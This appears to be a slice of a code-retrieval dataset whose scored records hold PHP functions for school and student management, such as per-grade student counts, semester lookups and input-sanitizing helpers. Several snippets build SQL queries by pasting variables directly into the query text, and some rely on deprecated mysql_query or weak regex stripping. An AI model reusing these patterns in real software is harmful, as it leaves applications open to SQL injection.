\"0\",\n '四年級' => \"0\",\n '五年級' => \"0\",\n '六年級' => \"0\",\n '特教班' => \"0\",\n '總共' => \"0\",\n ];\n //統計年級學生數\n $year_stud = [\n '一年級' => \"0\",\n '二年級' => \"0\",\n '三年級' => \"0\",\n '四年級' => \"0\",\n '五年級' => \"0\",\n '六年級' => \"0\",\n '特教班' => \"0\",\n '總共' => \"0\",\n ];\n\n\n if($semester) {\n $YearClasses = YearClass::where('semester',$semester)->get();\n if($YearClasses->count() == 0){\n $semester = \"\";\n }else{\n\n foreach ($YearClasses as $YearClass) {\n //列出指定學期的班級資料\n if ($YearClass->semester == $semester) {\n if (substr($YearClass->year_class, 0, 1) == 1){\n $year_class['一年級']++;\n foreach($YearClass->semester_students as $semester_student){\n if($semester_student->at_school==1){\n $year_stud['一年級']++;\n }\n }\n //$year_stud['一年級'] += $YearClass->semester_students->count();\n }\n if (substr($YearClass->year_class, 0, 1) == 2){\n $year_class['二年級']++;\n foreach($YearClass->semester_students as $semester_student){\n if($semester_student->at_school==1){\n $year_stud['二年級']++;\n }\n }\n }\n if (substr($YearClass->year_class, 0, 1) == 3){\n $year_class['三年級']++;\n foreach($YearClass->semester_students as $semester_student){\n if($semester_student->at_school==1){\n $year_stud['三年級']++;\n }\n }\n }\n if (substr($YearClass->year_class, 0, 1) == 4){\n $year_class['四年級']++;\n foreach($YearClass->semester_students as $semester_student){\n if($semester_student->at_school==1){\n $year_stud['四年級']++;\n }\n }\n }\n if (substr($YearClass->year_class, 0, 1) == 5){\n $year_class['五年級']++;\n foreach($YearClass->semester_students as $semester_student){\n if($semester_student->at_school==1){\n $year_stud['五年級']++;\n }\n }\n }\n if (substr($YearClass->year_class, 0, 1) == 6){\n $year_class['六年級']++;\n foreach($YearClass->semester_students as $semester_student){\n if($semester_student->at_school==1){\n $year_stud['六年級']++;\n }\n }\n }\n if (substr($YearClass->year_class, 0, 1) == 9){\n $year_class['特教班']++;\n foreach($YearClass->semester_students as $semester_student){\n if($semester_student->at_school==1){\n $year_stud['特教班']++;\n }\n }\n }\n $year_class['總共']++;\n foreach($YearClass->semester_students as $semester_student){\n if($semester_student->at_school==1){\n $year_stud['總共']++;\n }\n }\n $num = 0;\n $boy = 0;\n $girl = 0;\n\n //列出指定班級的資料\n if($YearClass->semester_students->count() != 0){\n foreach ($YearClass->semester_students as $semester_student) {\n if ($semester_student->at_school == \"1\") {\n $all_student++;\n $num++;\n if ($semester_student->student->sex == \"1\") $boy++;\n if ($semester_student->student->sex == \"2\") $girl++;\n } else {\n $out_students[$semester_student->student->sn]['班級'] = $semester_student->year_class->name;\n $out_students[$semester_student->student->sn]['姓名'] = $semester_student->student->name;\n $out_students[$semester_student->student->sn]['id'] = $semester_student->id;\n }\n }\n }\n\n $students_data[$YearClass->id] = [\n 'num'=>$num,\n 'boy'=>$boy,\n 'girl'=>$girl,\n ];\n\n }\n }\n }\n\n }\n\n //if(empty($semesters[$semester])) $semester = \"\";\n\n\n //級任選單\n $teas = UserGroup::where('group_id','2')\n ->get();\n $tea_order = [];\n foreach($teas as $tea){\n $tea_order[$tea->user->order_by]['id'] = $tea->user_id;\n $tea_order[$tea->user->order_by]['name'] = $tea->user->job_title.\"-\".$tea->user->name;\n }\n ksort($tea_order);\n\n $tea_menu = [];\n foreach($tea_order as $k=>$v){\n $tea_menu[$v['id']] = $v['name'];\n }\n\n $data = [\n 'student_admin'=>$student_admin,\n 'semesters'=>$semesters,\n 'semester'=>$semester,\n 'year_class'=>$year_class,\n 'year_stud'=>$year_stud,\n 'all_student'=>$all_student,\n 'students_data'=>$students_data,\n 'out_students'=>$out_students,\n 'YearClasses'=>$YearClasses,\n 'tea_menu'=>$tea_menu,\n ];\n return view('students.index',$data);\n }", "title": "" }, { "docid": "9fa03839946bed978753103935c7cabd", "score": "0.5947499", "text": "public function index()\n {\n return view('semester.index');\n }", "title": "" }, { "docid": "5ee9101f3051a37051e865b202dbd05d", "score": "0.59338295", "text": "function get_Dates(){\n $conn = get_Db_Connection();\n $year = \"Fall 2020\";\n $sqlDates = \"SELECT * FROM Semester_Year WHERE Semester_id='$year'\";\n $resultDates = $conn->query($sqlDates);\n return $resultDates;\n}", "title": "" }, { "docid": "5bd7337c66a04cc5564efb6a03af8c97", "score": "0.5923163", "text": "public function index()\n {\n return new StudentCollection(Student::with('school')->get());\n }", "title": "" }, { "docid": "6df1194a3c23fe8044d8a812c5bc1c7a", "score": "0.5915321", "text": "public function index()\n {\n $students = Student::all();\n\n return ResourcesStudent::collection($students);\n }", "title": "" }, { "docid": "f6caf52cc89f88bcf41d35f382551657", "score": "0.5911937", "text": "function AllStudentList()\n {\n\t\t\n\t\t//var_dump($this->session->userdata('group_id'));\n\t\t//exit;\n\t\t$data['title'] = 'Student List';\n\t\t$data['studentList'] = $this->Users_model->get_all_list('tbl_student', array('group_id'=>6));\n\t\t\n\t\t\n\t\t//var_dump($data['studentList']); exit;\n\t\t\n\t\t$this->render_template('secure/users/all_student_list', $data);\n }", "title": "" }, { "docid": "187a174c5b746db3361880446abdd048", "score": "0.59072095", "text": "public function getStudents()\n\t\t{\n\t\t\t// Select the necessary data from DB\n\t\t\t$query = $this->db->query(\"SELECT USR.`ID_USUARIO`, USR.`ID_TIPO_USUARIO`, FX.`NOME`, USR.`PRIMEIRO_NOME`, USR.`SOBRENOME`\n\t\t\t\tFROM \n\t\t\t\t\t`usuario` AS USR\n\t\t\t\tINNER JOIN \n\t\t\t\t\t`tipoUsuario` AS TUSR ON TUSR.`ID_TIPO_USUARIO` = USR.`ID_TIPO_USUARIO`\n\t\t\t\tINNER JOIN \n\t\t\t\t\t`faixa` AS FX ON FX.`ID_FAIXA` = USR.`ID_FAIXA`\n\t\t\t\tWHERE \n\t\t\t\t\tUSR.`ID_TIPO_USUARIO` = 3 AND\n\t\t\t\t\tUSR.`DATA_FECHA` IS NULL\n\t\t\t\tORDER BY USR.`PRIMEIRO_NOME`, USR.`SOBRENOME`\");\n\n\t\t\t// Check if query worked\n\t\t\tif ( $query )\n\t\t\t\treturn $query->fetchAll();\n\t\t\telse\n\t\t\t\treturn 0;\n\n\t\t}", "title": "" }, { "docid": "845b1213ae7a95a0ff1d91e8d68393de", "score": "0.59037143", "text": "public function index()\n {\n return Student::all();\n }", "title": "" }, { "docid": "2b96cdaf148ded0707a65e97452eea3b", "score": "0.58991337", "text": "public function get_all_students($year = ''){\n $this->db->where('accademic_year',$year);\n\t\t\t$sql = $this->db->get('student_FTP');\n\t\t\t\tif($sql->num_rows() > 0){\n\t\t\t\t\treturn $sql->result_array(); \n\t\t\t\t}else{\n\t\t\t\t\treturn [];\n\t\t\t\t}\n\t\t}", "title": "" }, { "docid": "cfba011c0fc5407a3c9d6f7c694674ab", "score": "0.58900654", "text": "function getAllStudents(){\n\t$conn = openDatabaseConnection();\n\n $stmt = $conn->prepare(\"SELECT studenten.id AS studenten_id, studenten.*, klassen.* FROM studenten JOIN klassen ON studenten.klas_id = klassen.id ORDER BY achternaam ASC\");\n\n\t$stmt->execute();\n\n\t$conn = null;\n\n\treturn $stmt->fetchAll();\n}", "title": "" }, { "docid": "d5f338359803d54559605fca67093631", "score": "0.58876884", "text": "function selectListDay($student_id , $year , $month){\n //set parameter\n $this_db = $this->DB;\n\n //connect DB\n $this->connect();\n $sql = \"select c.* , DAY(c.date_at) as _day from $this_db c\n where YEAR(c.date_at) = :year\n and MONTH(c.date_at) = :month\n and c.student_id = :id \";\n $params = [':year'=>$year , ':month'=>$month,':id'=>$student_id];\n $result = $this->queryAll($sql,$params);\n //close DB\n $this->close();\n $data_return = [];\n foreach ($result as $item){\n $data_return[intval($item['_day'])] = $item;\n }\n\n\n return $data_return;\n }", "title": "" }, { "docid": "a2a811de7593c9f9347459853c7898e2", "score": "0.58814436", "text": "public function get_schools() {\n global $post;\n\n\t\t//----- STORE ALL INSTANCES OF SCHOOLS IN ARRAY BASED ON SCHOOL ID -----//\n\t\t$raw_programs = new WP_Query( 'post_type=program&nopaging=true' );\n\n\t\tif ( $raw_programs->have_posts() ) {\n\t\t\twhile ( $raw_programs->have_posts() ) {\n\t\t\t\t$raw_programs->the_post();\n\n\t\t\t\t$i = 1;\n\t\t\t\t$start_date = 'start_date' . $i;\n\t\t\t\twhile ( rwmb_meta( $start_date ) != '' ) {\n\n\t\t\t\t\t//GET PROGRAM CLASSIFICATION\n\t\t\t\t\t$program_class = get_the_terms( $raw_programs->post->ID, 'program_classification' );\n\t\t\t\t\treset( $program_class );\n\t\t\t\t\t$program_class_key = key( $program_class );\n\n\t\t\t\t\tif ( rwmb_meta( $start_date, '', $post_id = $post->ID ) > $this->cur_date ) {\n\n\t\t\t\t\t\t$raw_program_dates[] = array(\n\t\t\t\t\t\t\t'program_name' => $raw_programs->post->post_title,\n\t\t\t\t\t\t\t'slug'\t\t\t=> $raw_programs->post->post_name,\n\t\t\t\t\t\t\t'program_id'\t=> $raw_programs->post->ID,\n\t\t\t\t\t\t\t'program_class' => $program_class[ $program_class_key ]->name,\n\t\t\t\t\t\t\t'start_date'\t=> rwmb_meta( $start_date ),\n\t\t\t\t\t\t\t'quarter'\t\t=> define_quarter( rwmb_meta( $start_date ) ),\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\t$i = ++$i;\n\t\t\t\t\t$start_date = 'start_date' . $i;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->schools = $raw_program_dates;\n\t\t\tusort( $this->schools, array($this, 'sort_by_date') );\n\n\t\t}\n\t}", "title": "" }, { "docid": "bcfd53bde661fc1c0e873838095d5cfe", "score": "0.5872836", "text": "function view_all_students(){\n \t\t$query = \"SELECT * FROM `student`\";\n\n\t\t$result = self::$db->select($query);\n\n return $result;\n \t}", "title": "" }, { "docid": "c605dcf90dcfeb767b9f2c7b6ee9a5c5", "score": "0.58670616", "text": "function getSemester()\n {\n if (Cache::has('semesterkode')){ $data = Cache::get('semesterkode'); }\n else{ \n $data = Semester::where('smIsActive',1)->first();\n Cache::put('semesterkode', $data, ChaceJam());\n }\n\t\treturn $data->smKode;\n\t}", "title": "" }, { "docid": "c605dcf90dcfeb767b9f2c7b6ee9a5c5", "score": "0.58670616", "text": "function getSemester()\n {\n if (Cache::has('semesterkode')){ $data = Cache::get('semesterkode'); }\n else{ \n $data = Semester::where('smIsActive',1)->first();\n Cache::put('semesterkode', $data, ChaceJam());\n }\n\t\treturn $data->smKode;\n\t}", "title": "" }, { "docid": "c605dcf90dcfeb767b9f2c7b6ee9a5c5", "score": "0.58670616", "text": "function getSemester()\n {\n if (Cache::has('semesterkode')){ $data = Cache::get('semesterkode'); }\n else{ \n $data = Semester::where('smIsActive',1)->first();\n Cache::put('semesterkode', $data, ChaceJam());\n }\n\t\treturn $data->smKode;\n\t}", "title": "" }, { "docid": "21e7ab9d143a2fb4507defad203a3d24", "score": "0.58606243", "text": "public function index()\n {\n return $this->student->paginate(20);\n }", "title": "" }, { "docid": "da7c6f0d4b6e217318dcc56382da02e0", "score": "0.58540356", "text": "public function getAllStudents()\n {\n $studentRoles = R::findAll('role', 'rolename_id = \"3\"');\n $students = []; \n foreach ($studentRoles as $studentRole)\n {\n $id = $studentRole->user_id; \n $student = R::findOne('user', 'id = \"' . $id . '\"'); \n $students[] = $student; \n }\n return $students;\n }", "title": "" }, { "docid": "1bccab3e4828a7c77a450430eee5b508", "score": "0.58526796", "text": "public function getAbsences($semesterId)\n {\n $CI =& get_instance();\n $CI->load->model('Absences');\n\n $period = $this->getPeriod($semesterId);\n if ($period === FALSE) {\n return array();\n }\n\n return $CI->Absences->getInPeriod($period);\n }", "title": "" }, { "docid": "a1b8625443c5d16d979a3ed2bd9fd8d3", "score": "0.5846115", "text": "public function loadAllStudents()\n {\n //\n $puid = $_SESSION['UserID'];\n \n $profmod = new user_model();\n $profmod->loadPropertiesFromPrimaryKey($puid);\n \n $student_list = $profmod->getAdvisees();\n \n $pdata = array('students' => $student_list);\n \n $this->load->view('all_students_view', $pdata);\n \n }", "title": "" }, { "docid": "352e2edd2125c467a70e461a13d589a5", "score": "0.5843729", "text": "function getSchools() {\n return $this->database->select(\"schools\", [\"id\", \"name\"], [\"type_school\" => 0]);\n }", "title": "" }, { "docid": "357c6cc9aeb217cbf1751593dc5a5947", "score": "0.5835086", "text": "public function index()\n {\n $seminar = GroupProject::with(['Agency', 'GroupProjectSchedule' => function ($abc) {\n $abc->with('Observer');\n }, 'GroupProjectSupervisor' => function ($ccd) {\n $ccd->with('Lecturer');\n }, 'InternshipStudents' => function ($abc) {\n $abc->with('User');\n }])->where('is_verified', '3')->get();\n \n if($seminar->count() != 0){\n $ini = Auth::user()->InternshipStudent->id;\n foreach ($seminar as $s) {\n $pengamat[] = $s->GroupProjectSchedule->Observer->where('internship_student_id', $ini)->count();\n $peserta[] = $s->GroupProjectSchedule->Observer->where('group_project_schedule_id', $s->GroupProjectSchedule->id)->count();\n $gua[] = $s->InternshipStudents->where('id', $ini)->count();\n }\n $res = [\n 'seminar' => $seminar,\n 'pengamat' => $pengamat,\n 'peserta' => $peserta,\n 'gua' => $gua\n ];\n \n // dd($gua);\n return view('college_student.seminar', $res);\n }\n else{\n return view('college_student.seminar', compact('seminar'));\n }\n }", "title": "" }, { "docid": "1633d4a199380ce938532de17cc05a54", "score": "0.5827812", "text": "function get_Sem_Fac($ClassList)\n{\n $arraySem_id = array();\n foreach ($ClassList as $class){\n $arraySem_id[] = $class[\"Semester_id\"];\n }\n return $arraySem_id;\n}", "title": "" }, { "docid": "422f5e86f12a536c9aa2a8477698a8fb", "score": "0.58146983", "text": "function get_threads_of_course($sel_course_id, $sel_semester, $sel_abs_year)\r\n\t{\r\n\t\tglobal $connection;\r\n\t\t$query = \"Select th.thread_id, th.thread_name, th.webmail_id, th.description\r\n\t\t\t\t\tfrom thread th\r\n\t\t\t\t\twhere th.course_id = '{$sel_course_id}' AND th.semester = {$sel_semester} AND th.year = {$sel_abs_year}\";\r\n\t\t$result_set = mysql_query($query, $connection);\r\n\t\tconfirm_query($result_set);\r\n\t\treturn $result_set;\r\n\t}", "title": "" }, { "docid": "38b00ff07ae23bca612003fabc1865ae", "score": "0.58070976", "text": "public function getSemester()\n {\n return $this->hasOne(Semester::className(), ['semester_id' => 'semester_id']);\n }", "title": "" }, { "docid": "d2ba389c6e771b433fc4b388b0b4fba0", "score": "0.5795301", "text": "public function chooseSemester() {\n $student = $this->getStudent();\n //send to the view student's semester\n return view('chooseSemester', ['year' => $student->year, 'semester' => $student->semester]);\n }", "title": "" }, { "docid": "28afca130025ff29907af8c7fbc0e226", "score": "0.5789229", "text": "public function index($semester_id)\n {\n $type=DB::table('tbl_course_type')\n ->join('tbl_semester','tbl_course_type.semester_id','=','tbl_semester.semester_id')\n ->where('tbl_semester.semester_id',$semester_id)\n ->get();\n\n $type_by_semester=view('type')->with('type',$type);\n return view('layouts.app')->with('type',$type_by_semester);\n }", "title": "" }, { "docid": "0afa996ea08f7b4d8164514c6fd8139a", "score": "0.5786274", "text": "public function getStudents() {\n\t\t$connector = new DataDriver();\n\t\t$statement = $connector->select(STUDY,['email'], \n\t\t\t\t\t\t\t\t\t\t['classID' => $this->getClassID()]);\n\t\t$result = array();\n\t\t$i = 0;\n\t\twhile ($row = $statement->fetch(PDO::FETCH_ASSOC)) {\n\t\t\t$result[$i++] = Student::getStudent($row['email']);\n\t\t}\n\n\t\t$statement = NULL;\n\t\t$connector->close();\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "d9e2e4b00f1299b5a738f6bb157b152a", "score": "0.57861197", "text": "public function studyListAll()\n {\n $ocWsdlLocation = $this->ocWsInstanceURL . self::WSDL_STUDY;\n $ocWsdlNameSpace = 'http://openclinica.org/ws/study/v1';\n $ocSoapFunction = 'listAll';\n $ocSoapArguments = 'listAllRequest';\n $response = $this->callSoapClient($ocWsdlLocation, $ocWsdlNameSpace,\n $ocSoapFunction, $ocSoapArguments);\n return $response;\n }", "title": "" }, { "docid": "0ec103df1f91e3a78cf5b320380d40a5", "score": "0.5763758", "text": "public function getGroups($semesterId)\n {\n return $this->db\n ->from('Group')\n ->where('idSemester', $semesterId)\n ->get()\n ->result();\n }", "title": "" }, { "docid": "f2bd1f286e43e1ee3220b70975241427", "score": "0.57531893", "text": "function listSchools(){\n\t\t\treturn $this->query(\"select school_id,school_name from schools\");\n\t\t\t}", "title": "" }, { "docid": "30be4fecf1e65f389b2e429838b71ec1", "score": "0.5748001", "text": "public function getGruposSinAsignar($semestre, $year){\n $connect = ConnectionManager::get('default'); \n $result = $connect->execute(\n \"select distinct cur.sigla as sigla, cur.nombre, concat(us.nombre,' ',us.primer_apellido) as profesor, gru.numero as grupo, gru.año, gru.semestre, gru.id as id\n from solicitudes as sol join grupos as gru on sol.grupos_id = gru.id \n join cursos as cur on cur.id = gru.cursos_id \n left outer join usuarios as us on gru.usuarios_id = us.id\n where sol.estado = 'Elegible' and año = \".$year.\" and semestre = \".$semestre.\" and estado = 'Elegible'\n and gru.id not in (select gru.id\n from solicitudes as sol join grupos as gru on gru.id = sol.grupos_id\n where sol.estado = 'Aceptada - Profesor' or sol.estado = 'Aceptada - Profesor (Inopia)');\");\n //El assoc hace que los resultados del array no queden en result[0] sino en result['numero'], result['nombre'], etc.\n $result = $result->fetchAll('assoc'); \n return $result;\n }", "title": "" }, { "docid": "5388ee1bb4110b068c8badb3f5d0e98c", "score": "0.5745981", "text": "public function allStd()\n {\n return StudentAssignment::orderBy('created_at', 'asc')->get();\n }", "title": "" }, { "docid": "dd386bb1271d55e18ac4a1924021ef75", "score": "0.5745425", "text": "public function get_school_list()\n\t{\n\t\t$this->db->select('*');\n\t\t$this->db->from('cms_schools');\n\t\t$this->db->where('schl_status','0');\n\t\t$query = $this->db->get();\n\t\t//echo $this->db->last_query();\n\t\treturn $query->result();\n\t}", "title": "" }, { "docid": "fb845999fdb9c958737721e897f18753", "score": "0.57428515", "text": "public function getSectionsForScheduler($request)\n {\n $semester = $request->get('semester');\n $courses = $request->get('courses');\n \n //get all the courses needed to pass to the get combinations method\n\t\t$section = new Section;\n\t\t$sections = $section\n ->where('semester', '=', $semester)\n ->applyCoursePreference($courses)\n\t\t\t->get();\n\n\n $courses = $sections->groupBy('course');\n \n //apply preferences on the collection.\n $filteredSections = $this::applyPreferences($courses, $request);\n\n return $filteredSections;\n }", "title": "" }, { "docid": "546162aab387a76caf59eaddbaabab10", "score": "0.5739843", "text": "public function index()\n {\n $semester = DB::table('variables')->where('name', 'semester')->value('value');\n $attendance3MStudents = Attendance_3M_Student::with('student')->paginate(10);\n $m3_courses = Course::where('course_level', '3M')->where('semester','=', $semester )->select('course_code')->get();\n return view('attendance_3_m__students.index', compact('m3_courses','attendance3MStudents'));\n }", "title": "" }, { "docid": "2232d290ad0f6d6c185e3610480b6d46", "score": "0.57391894", "text": "public function all(){\n\t\t$data['title'] = \"Mata Kuliah yang Diajar\";\n\t\t$this->load->helper('form');\n\t\t$data['ddYear'] = $this->class_model->getComboBoxAllYear();\n\t\t$data['selectedDdYear'] = str_replace('/','-',str_replace(' ','_',$this->class_model->getActiveTermYear()));\n\t\t$this->load->view('header',$data);\n\t\t$this->load->view('grade/grade_view', $data);\n\t\t$this->load->view('footer');\n\t}", "title": "" }, { "docid": "aae7e234e3cd53fad0f96dbc9dc5b8d1", "score": "0.5732453", "text": "public function readAllInfo()\n {\n //recuperation des donnees en post\n $data = $this->request->data;\n\n try {\n\n //selection d'un semestre à partir de son identifiant\n if (!empty($data['id_semestre'])) {\n $results = $this->model->read_all_info_with_id((int)$data['id_semestre']);\n\n if (empty($results)) {\n $this->_return('Le semestre demandé n\\'existe pas dans la base de donnée', false);\n }\n $this->_return('Informations sur le semestre '.$results->nom_semestre.' ', true, $results);\n }\n\n //selection de tous les semestres\n $results = $this->model->read_all_info();\n if (empty($results)) {\n $this->_return('Vous n\\'avez pas encore de semestre en base de données', false);\n }\n $this->_return('liste des semestres disponible dans la base de données', true, $results);\n \n } catch (Exception $e) {\n $this->_exception($e);\n }\n }", "title": "" }, { "docid": "1af63599528195bbf009a0d168ebee7d", "score": "0.5729331", "text": "public function all() {\n $students = $this->model::paginate();\n\n return new Response($students);\n }", "title": "" }, { "docid": "7cfb31ac491619a8a7a98bf13de14687", "score": "0.572683", "text": "public function getStudents()\n {\n\t\treturn DB::table('students')\n\t\t\t\t\t->select('idStudent', 'firstName', 'lastName')\n\t\t\t\t\t->get();\n\t}", "title": "" }, { "docid": "bfcfe58010865f047fee4363102ac43d", "score": "0.5725925", "text": "public function index()\n {\n //\n $students = Student::all();\n return StudentResource::collection($students);\n }", "title": "" }, { "docid": "e043f2a7d325bcafc0e2b537a573f734", "score": "0.57188296", "text": "public function getSemesterId()\n {\n return $this->semester_id;\n }", "title": "" }, { "docid": "63075b91385805b93860b9dae140f1de", "score": "0.57184136", "text": "function listAll2()\n\t\t\t{ return $this->query(\"select sf_id,num_students,num_students_feeding_pro,date_of_collection,school_name from school_feeding,schools\n\t\t\twhere school_feeding.school_id=schools.school_id group by sf_id\");\n\n\t\t\t}", "title": "" }, { "docid": "964a12f5457593a95ca91bd14b0e0c23", "score": "0.571517", "text": "public function getAll()\n {\n return $this->online_exam->filterBySession()->get();\n }", "title": "" }, { "docid": "210e371399f157f226002c3ce39985f5", "score": "0.57142097", "text": "public function getListByYear(Request $request)\n { \n $year = $request->year;\n if($year != 0){\n $center_id = Center::where('admin_id', Auth::user()->id)->pluck('id')->toArray();\n if (Gate::allows('staff')) {\n $activitys = Activity::whereIn('center_id',$center_id)\n ->where('study_year', '=', $year)\n ->pluck('title', 'id')\n ->all();\n } else {\n $activitys = Activity::where('study_year', '=', $year)\n ->pluck('title', 'id')\n ->all();\n }\n } else {\n if (Gate::allows('staff')) {\n $activitys = Activity::whereIn('center_id',$center_id)\n ->pluck('title', 'id')\n ->all();\n } else {\n $activitys = Activity::pluck('title', 'id')\n ->all();\n }\n }\n return response()->json([\n 'activitys' => $activitys\n ]);\n }", "title": "" }, { "docid": "c57536d90e9f9be50590a35c3a1f5bb7", "score": "0.5709015", "text": "function get_classes_student($idNo){\n $conn=get_Db_Connection();\n $current_sem = 'Fall 2020';\n $sql_classes = \"SELECT DISTINCT Student_id, Class_crn, Grade, Crs_id, Class_Section, Timeslot_id FROM Enrollment INNER JOIN Class USING (Class_crn) WHERE Enrollment.Student_id = '$idNo' AND Enrollment.Semester_id='Fall 2020';\";\n $result_classes_array=$conn->query($sql_classes);\n while($row_class_classes = $result_classes_array->fetch_assoc()){\n $array_student_classes[]=$row_class_classes;\n }\n //var_dump($array_student_classes) or die($conn->error);\n return $array_student_classes;\n}", "title": "" }, { "docid": "ea55c90db1e5317add55946b5021b00c", "score": "0.5705948", "text": "public function index()\n {\n //get students\n $students = student::all();\n\n return StudentResource::collection($students);\n }", "title": "" }, { "docid": "498bc593475f3e4d0548bd21076601fd", "score": "0.5705448", "text": "function get_students_of_class()\n {\n $response = array();\n $class_id = $this->input->post('class_id');\n $running_year = $this->db->get_where('settings', array(\n 'type' => 'running_year'\n ))->row()->description;\n if ($class_id != \"\") {\n $students = $this->db->get_where('enroll', array(\n 'class_id' => $class_id,\n 'year' => $running_year\n ))->result_array();\n } else {\n $students = $this->db->get_where('enroll', array(\n 'year' => $running_year\n ))->result_array();\n }\n foreach ($students as $row) {\n $data['student_id'] = $row['student_id'];\n $data['roll'] = $row['roll'];\n $data['name'] = @$this->db->get_where('student', array(\n 'student_id' => $row['student_id']\n ))->row()->name;\n $data['birthday'] = @$this->db->get_where('student', array(\n 'student_id' => $row['student_id']\n ))->row()->birthday;\n $data['gender'] = @$this->db->get_where('student', array(\n 'student_id' => $row['student_id']\n ))->row()->sex;\n $data['address'] = @$this->db->get_where('student', array(\n 'student_id' => $row['student_id']\n ))->row()->address;\n $data['phone'] = @$this->db->get_where('student', array(\n 'student_id' => $row['student_id']\n ))->row()->phone;\n $data['email'] = @$this->db->get_where('student', array(\n 'student_id' => $row['student_id']\n ))->row()->email;\n $data['class'] = @$this->db->get_where('class', array(\n 'class_id' => $row['class_id']\n ))->row()->name;\n $data['section'] = @$this->db->get_where('section', array(\n 'section_id' => $row['section_id']\n ))->row()->name;\n $parent_id = @$this->db->get_where('student', array(\n 'student_id' => $row['student_id']\n ))->row()->parent_id;\n\n $parent_name = $this->db->get_where('parent', array(\n 'parent_id' => $parent_id))->row();\n if ($parent_name) {\n $data['parent_name'] = $this->db->get_where('parent', array(\n 'parent_id' => $parent_id))->row()->name;\n }\n $data['image_url'] = $this->crud_model->get_image_url('student', $row['student_id']);\n array_push($response, $data);\n }\n echo json_encode($response);\n }", "title": "" }, { "docid": "58e2e80606b72e62d11512eb3465d6ba", "score": "0.5694252", "text": "public function nilaiSemester($nis, $semester)\n {\n // $nis = $siswa->nis;\n $semester = Nilai::where([\n 'nis' => $nis,\n 'semester' => $semester,\n ])->get();\n return $semester;\n }", "title": "" }, { "docid": "b740c8aec2bd2c97d94e6e89d32176d4", "score": "0.5689896", "text": "public function actionIndex()\n {\n if(Yii::$app->user->can('admin') || Yii::$app->user->can('supervisor')) {\n $searchModel = new TahunAjaranSemesterSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n $tahun_ajaran_aktif = TahunAjaranSemester::findOne(['is_active' => 1]);\n\n $tahun_ajaran_kelas = null;\n if($tahun_ajaran_aktif != null){\n $tahun_ajaran_kelas = new ActiveDataProvider([\n 'query' => TahunAjaranKelas::find()->where(['tahun_ajaran_semester_id' => $tahun_ajaran_aktif->id]),\n ]);\n }\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n 'tahun_ajaran_aktif' => $tahun_ajaran_aktif,\n 'tahun_ajaran_kelas' => $tahun_ajaran_kelas,\n ]);\n }else{\n return $this->redirect(['error/forbidden-error']);\n }\n }", "title": "" } ]
697264a149e1fc63e50e53935414e590
strip input text to avoid crossscripting
[ { "docid": "f3ceae0b1e5be9c30bd64f7865c0f442", "score": "0.0", "text": "function cleanInput($data) {\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n}", "title": "" } ]
[ { "docid": "8f0ebcd50034c4bafef5511734924ace", "score": "0.75848633", "text": "function stripinput($text) {\n\tif (QUOTES_GPC) $text = stripslashes($text);\n\t$search = array(\"\\\"\", \"'\", \"\\\\\", '\\\"', \"\\'\", \"<\", \">\", \"&nbsp;\");\n\t$replace = array(\"&quot;\", \"&#39;\", \"&#92;\", \"&quot;\", \"&#39;\", \"&lt;\", \"&gt;\", \" \");\n\t$text = str_replace($search, $replace, $text);\n\treturn $text;\n}", "title": "" }, { "docid": "42e114ed6f5cb5c5a195dc144c49c878", "score": "0.70487934", "text": "private function stripInput($data) {\r\n\t\t$data = trim ( $data );\r\n\t\t$data = stripslashes ( $data );\r\n\t\t$data = htmlspecialchars ( $data );\r\n\t\treturn $data;\r\n\t}", "title": "" }, { "docid": "bf5f8f4cf158572299c9349d74d0bdf2", "score": "0.6998367", "text": "function cleanInput ($text) { //clean the inputs\n\t\t\t$text = trim($text);\n\t\t\t$text = strip_tags($text);\n\t\t\t$text = htmlspecialchars($text, ENT_QUOTES);\n\n\t\treturn ($text); //output clean text\n\t}", "title": "" }, { "docid": "cc1eac898f972452561ccac0c2f81412", "score": "0.685635", "text": "function sanitizeFormUsername($inputText) {\r\n\t\t$inputText = strip_tags($inputText);\r\n\t\t$inputText = str_replace(\" \", \"\", $inputText);\r\n\t\treturn $inputText;\r\n\t}", "title": "" }, { "docid": "f8d0a02fe9e167293c6df490594aee8a", "score": "0.6792525", "text": "function FCN_sanitize_text( $input ) {\n \treturn wp_kses_post( force_balance_tags( $input ) );\n\t}", "title": "" }, { "docid": "b19ea70ad20ff9165728158f390b495d", "score": "0.67900354", "text": "public function autoCleanInput();", "title": "" }, { "docid": "8d3c347fc27c3409a8bc5e024ef5c9c0", "score": "0.675258", "text": "function clean_input($data) {\n $data = trim($data); // strips unnecessary characters from beginning/end\n $data = stripslashes($data); // remove backslashes\n $data = htmlspecialchars($data); // replace special characters with HTML entities\n return $data;\n }", "title": "" }, { "docid": "203b8b513fa7046650e2847dc746f7bc", "score": "0.66858125", "text": "function cleanInput($input) {\n\n\t\t$search = array(\n\t\t\t'@<script[^>]*?>.*?</script>@si', // Strip out javascript\n\t\t\t'@<[\\/\\!]*?[^<>]*?>@si', // Strip out HTML tags\n\t\t\t'@<style[^>]*?>.*?</style>@siU', // Strip style tags properly\n\t\t\t'@<![\\s\\S]*?--[ \\t\\n\\r]*>@' // Strip multi-line comments\n\t \t);\n\n\t $output = preg_replace($search, '', $input);\n\t return $output;\n \t}", "title": "" }, { "docid": "f7b69c4ad82ac4b862e1372b8e8be99c", "score": "0.6663246", "text": "function strip($txt)\r\n{ // $txt = preg_replace('/[<>={}]+/', '', $txt);\r\n return $txt;\r\n}", "title": "" }, { "docid": "31028d2446e847dd496a775b2823bccb", "score": "0.66594106", "text": "function strip_data($input)\r\n{\r\n\tif($input<>\"\")\r\n\t\treturn(trim(strip_tags($input)));\t\r\n}", "title": "" }, { "docid": "da70a7f21e19909d3becaf6a8136bb2e", "score": "0.6648157", "text": "public static function scrubInput($data)\n {\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n }", "title": "" }, { "docid": "22bb14aff16704c27f8bdc6f7829de4a", "score": "0.66409856", "text": "function sanitize () {\n\t\t$this->text = preg_replace(\"/\\r/\", \"\", $this->text); // remove carriage returns\n\t\t$this->text = preg_replace(\"/(?<=\\n)\\s*\\n/\", \"\\n\", $this->text); // remove extra whitespace and duplicate empty lines\n\t\n\t\t// entify\n\t\t$this->text = htmlentities($this->text, 